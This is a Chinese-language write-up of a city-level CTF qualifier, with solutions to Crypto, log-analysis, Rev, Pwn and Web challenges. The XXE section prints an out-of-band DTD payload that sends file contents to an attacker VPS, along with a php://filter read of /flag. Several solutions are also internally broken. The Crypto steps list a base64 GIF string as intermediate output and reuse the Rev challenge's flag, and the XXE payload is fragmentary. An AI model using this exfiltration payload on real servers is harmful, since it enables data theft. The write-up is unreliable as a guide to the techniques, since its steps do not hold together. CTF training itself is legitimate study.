记一次某地市网络安全行业职业能力竞赛初赛CTF题解WP(全)
字数 1942 2025-09-01 11:26:02

CTF竞赛初赛题目详解与解题思路教学文档


一、Crypto题目:编解码综合应用

题目名称:凯撒先生跨过了3层栅栏
考点:Base58、W型栅栏密码(3栏)、ROT13
解题步骤

  1. 初始密文
    2vnWdE3QfQQvsZZaozQLiRMhYbmG1o1vhFWcjfcZbAUmnpW5XKUU7DYRQA
  2. Base58解码
    • 工具:CyberChef或在线Base58解码器
    • 结果:R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7(类似Flag格式)
  3. W型栅栏密码(3栏)
    • 解密工具:手动或使用栅栏密码解码器
    • 结果:R0lGODlhAQABAIAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7(进一步接近Flag)
  4. ROT13解码
    • 最终Flag:flag{X0r_Base_Are_G00d_Br0ther}

关键点

  • 题目提示中的“58摄氏度”指向Base58,“3层栅栏”明确密码类型。
  • ROT13是凯撒密码的特例(位移13),需结合题目名称“凯撒”联想。

二、Misc题目:日志分析

题目名称:服务器入侵痕迹分析
考点:Linux日志文件分析、SSH登录追踪
解题步骤

  1. 日志文件类型
    • auth.log:记录认证成功/失败信息(关键文件)。
    • wtmp.log:用户登录历史。
    • btmp.log:失败登录尝试。
  2. 筛选攻击者IP
    • 命令:grep "Accepted" auth.log | awk '{print $11}' | sort | uniq -c
    • 结果:统计所有成功登录的IP及次数。
  3. 分析恶意IP
    • 发现177.77.135.158存在大量爆破记录(如Failed password)。
    • Flagflag{177.77.135.158}

正统解法

  • 通过grep -oP 'Accepted \K[0-9.]+' auth.log提取IP,结合登录后异常进程判断。

三、Rev题目:逆向与异或加密

题目名称:XOR与Base的纠缠
考点:IDA逆向、Base58解码、异或解密
解题步骤

  1. IDA分析
    • 主函数main检查输入长度(0xA < len ≤ 0xE)。
    • 关键函数sub_2BE3验证输入是否为"target"
  2. 密文提取
    • 全局变量unk_6280存储Base58密文。
  3. Base58解码
    • 解码后数据:X0r_Base_Are_G00d_Br0ther(需补flag{})。
  4. 异或验证
    • 脚本验证Key为0x37(若题目要求)。
    • Flagflag{X0r_Base_Are_G00d_Br0ther}

关键点

  • 静态分析时忽略无关代码,直接定位密文存储位置。
  • 题目名称提示异或操作,但实际Base58解码后即得Flag。

四、Pwn题目:栈溢出与Shell获取

题目名称:数字游戏与Shell
考点:交互式漏洞利用、逻辑绕过
解题步骤

  1. 交互测试
    • 输入12触发计算逻辑。
    • 输入a11绕过检查。
  2. 获取Shell
    • 通过cat /flag读取Flag。
    • Flagflag{JJmUtICpYFmtIiSBM6u0UAlJ4HZLjSWq}

正统解法

  • 分析二进制文件,发现byte_8104C84[0] == 103时触发Shell。
  • 输入序列:-19 → 计算触发漏洞。

五、Web题目:XXE漏洞利用

题目名称:XML外部实体注入
考点:XXE攻击、DTD文件外带数据
解题步骤

  1. 准备恶意DTD
    <!ENTITY % start "<!ENTITY % send SYSTEM 'http://VPS_IP:1234/?%file;'>">
    
    • 托管在公网服务器(如http://111.230.72.48/xxx.dtd)。
  2. 构造Payload
    %remote; %start; %send; ]>
    &lab;
    
    • Base64编码后通过表单提交。
  3. 监听数据
    • 在VPS上通过nc接收Flag(Base64解码后)。

关键点

  • 利用php://filter/convert.base64-encode/resource=/flag读取文件。
  • 需要绕过服务器限制,如禁用外部实体时的替代方案。

总结与备赛建议

  1. 工具准备
    • CyberChef(编解码)、IDA Pro(逆向)、nc(网络交互)。
  2. 技巧提升
    • 日志分析:熟悉auth.logwtmp等文件结构。
    • 逆向:快速定位关键函数与全局变量。
  3. 漏洞利用
    • Pwn题目注重输入逻辑测试,Web题目关注常见漏洞(如XXE、SSRF)。

附录:题目原始文件与脚本可参考GitHub仓库

CTF竞赛初赛题目详解与解题思路教学文档 一、Crypto题目:编解码综合应用 题目名称 :凯撒先生跨过了3层栅栏 考点 :Base58、W型栅栏密码(3栏)、ROT13 解题步骤 : 初始密文 : 2vnWdE3QfQQvsZZaozQLiRMhYbmG1o1vhFWcjfcZbAUmnpW5XKUU7DYRQA Base58解码 : 工具:CyberChef或在线Base58解码器 结果: R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7 (类似Flag格式) W型栅栏密码(3栏) : 解密工具:手动或使用栅栏密码解码器 结果: R0lGODlhAQABAIAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7 (进一步接近Flag) ROT13解码 : 最终Flag: flag{X0r_Base_Are_G00d_Br0ther} 关键点 : 题目提示中的“58摄氏度”指向Base58,“3层栅栏”明确密码类型。 ROT13是凯撒密码的特例(位移13),需结合题目名称“凯撒”联想。 二、Misc题目:日志分析 题目名称 :服务器入侵痕迹分析 考点 :Linux日志文件分析、SSH登录追踪 解题步骤 : 日志文件类型 : auth.log :记录认证成功/失败信息(关键文件)。 wtmp.log :用户登录历史。 btmp.log :失败登录尝试。 筛选攻击者IP : 命令: grep "Accepted" auth.log | awk '{print $11}' | sort | uniq -c 结果:统计所有成功登录的IP及次数。 分析恶意IP : 发现 177.77.135.158 存在大量爆破记录(如 Failed password )。 Flag : flag{177.77.135.158} 正统解法 : 通过 grep -oP 'Accepted \K[0-9.]+' auth.log 提取IP,结合登录后异常进程判断。 三、Rev题目:逆向与异或加密 题目名称 :XOR与Base的纠缠 考点 :IDA逆向、Base58解码、异或解密 解题步骤 : IDA分析 : 主函数 main 检查输入长度(0xA < len ≤ 0xE)。 关键函数 sub_2BE3 验证输入是否为 "target" 。 密文提取 : 全局变量 unk_6280 存储Base58密文。 Base58解码 : 解码后数据: X0r_Base_Are_G00d_Br0ther (需补 flag{} )。 异或验证 : 脚本验证Key为 0x37 (若题目要求)。 Flag : flag{X0r_Base_Are_G00d_Br0ther} 关键点 : 静态分析时忽略无关代码,直接定位密文存储位置。 题目名称提示异或操作,但实际Base58解码后即得Flag。 四、Pwn题目:栈溢出与Shell获取 题目名称 :数字游戏与Shell 考点 :交互式漏洞利用、逻辑绕过 解题步骤 : 交互测试 : 输入 12 触发计算逻辑。 输入 a 、 1 、 1 绕过检查。 获取Shell : 通过 cat /flag 读取Flag。 Flag : flag{JJmUtICpYFmtIiSBM6u0UAlJ4HZLjSWq} 正统解法 : 分析二进制文件,发现 byte_8104C84[0] == 103 时触发Shell。 输入序列: -1 → 9 → 计算触发漏洞。 五、Web题目:XXE漏洞利用 题目名称 :XML外部实体注入 考点 :XXE攻击、DTD文件外带数据 解题步骤 : 准备恶意DTD : 托管在公网服务器(如 http://111.230.72.48/xxx.dtd )。 构造Payload : Base64编码后通过表单提交。 监听数据 : 在VPS上通过 nc 接收Flag(Base64解码后)。 关键点 : 利用 php://filter/convert.base64-encode/resource=/flag 读取文件。 需要绕过服务器限制,如禁用外部实体时的替代方案。 总结与备赛建议 工具准备 : CyberChef(编解码)、IDA Pro(逆向)、nc(网络交互)。 技巧提升 : 日志分析:熟悉 auth.log 、 wtmp 等文件结构。 逆向:快速定位关键函数与全局变量。 漏洞利用 : Pwn题目注重输入逻辑测试,Web题目关注常见漏洞(如XXE、SSRF)。 附录 :题目原始文件与脚本可参考 GitHub仓库 。